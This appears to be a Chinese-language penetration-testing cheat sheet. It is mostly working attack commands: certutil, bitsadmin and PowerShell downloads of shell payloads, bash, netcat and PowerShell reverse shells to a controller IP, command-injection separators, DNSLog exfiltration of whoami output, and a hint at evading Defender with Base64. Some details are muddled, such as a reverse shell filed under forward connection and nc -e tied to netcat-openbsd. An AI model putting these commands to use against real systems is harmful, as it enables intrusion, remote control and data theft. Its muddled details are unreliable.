一、常规基本渗透命令

web安全入门篇-渗透测试中常用的命令

二、文件传输与下载

Linux

命令 用途 示例
wget 下载文件(支持HTTP/HTTPS/FTP) wget http://example.com/shell.php
curl 发送HTTP请求,支持文件上传下载 curl -O http://example.com/file.txt
python 启动临时HTTP服务器传输文件 python -m http.server 8080(下载端)
scp 安全复制文件到远程服务器 scp local.txt user@remote:/path/

Windows

命令 用途 示例
PowerShell 下载文件(绕过部分安全限制) Invoke-WebRequest -Uri http://a.com/shell.exe -OutFile b.exe
Certutil 下载文件(系统工具) certutil -urlcache -split -f http://a.com/file.txt c:\file.txt
Bitsadmin 后台下载文件(隐蔽性强) bitsadmin /create job /download /priority normal http://a.com/shell.exe c:\shell.exe

三、反弹Shell命令

正向连接(控制端主动连接目标)

  • 场景:目标在公网,控制端可直接访问其端口。
  • Linux
    1
    2
    nc -lvnp 4444 # 控制端监听端口  
    /bin/sh -i >& /dev/tcp/控制端IP/4444 0>&1 # 目标执行连接命令
  • Windows
    1
    $client = New-Object System.Net.Sockets.TCPClient('控制端IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|ForEach-Object{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()  

反向连接(目标主动连接控制端)

  • 场景:目标在内网,控制端需通过公网IP接收连接。
  • Linux
    1
    2
    nc -e /bin/sh 控制端IP 4444 # 旧版nc(需安装netcat-openbsd)  
    bash -i >& /dev/tcp/控制端IP/4444 0>&1 # 通用写法
  • Windows
    1
    powershell -NoExit "$client = New-Object System.Net.Sockets.TCPClient('控制端IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|ForEach-Object{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"  

四、命令执行与管道符

通用管道符

符号 系统 含义 示例
& Windows/Linux 前后命令均执行(不检查结果) dir & whoami
&& Windows/Linux 前命令成功后执行后命令 ping 127.0.0.1 && echo ok
|| Windows/Linux 前命令失败后执行后命令 ping non-exist || echo fail
| Windows/Linux 前命令输出作为后命令输入 ipconfig | find "IP"
; Linux 分隔多个命令依次执行 whoami ; ls /
&&& Windows 特殊分隔符(部分场景绕过过滤) dir&&&whoami

五、无回显漏洞利用(带外查询)

原理:通过DNS/HTTP请求将数据外带(绕过目标无回显限制)。

Linux

1
2
ping $(whoami).your-dnslog-domain # 利用ping命令外带数据  
curl http://$(whoami).your-dnslog-domain # 利用HTTP请求外带

Windows

1
2
3
powershell -Command "$env:COMPUTERNAME + '.your-dnslog-domain' | % { Invoke-WebRequest -Uri 'http://' + $_ }"  
# 或通过ping结合PowerShell拼接域名
ping -n 1 "$(whoami).your-dnslog-domain"

六、常用工具与场景速记

工具/命令 场景 示例用途
nc 反弹Shell、端口监听 正向/反向Shell建立连接
curl/wget 文件下载、带外数据传输 下载Payload、DNSLog外带验证
PowerShell Windows 隐蔽命令执行、文件传输 绕过安全软件下载恶意文件
ping 无回显漏洞验证、网络连通性测试 通过DNSLog验证命令执行成功
管道符 绕过过滤、组合命令执行 dir&&type c:\flag.txt 组合执行命令

注意事项:

  1. 权限限制:部分命令(如反弹Shell)需目标服务器具备执行权限。
  2. 安全软件拦截:Windows 下 PowerShell 可能被 Defender 拦截,需用 Base64 编码等方式绕过。
  3. 法律风险:仅限在合法授权的测试环境中使用,禁止未经允许的渗透测试!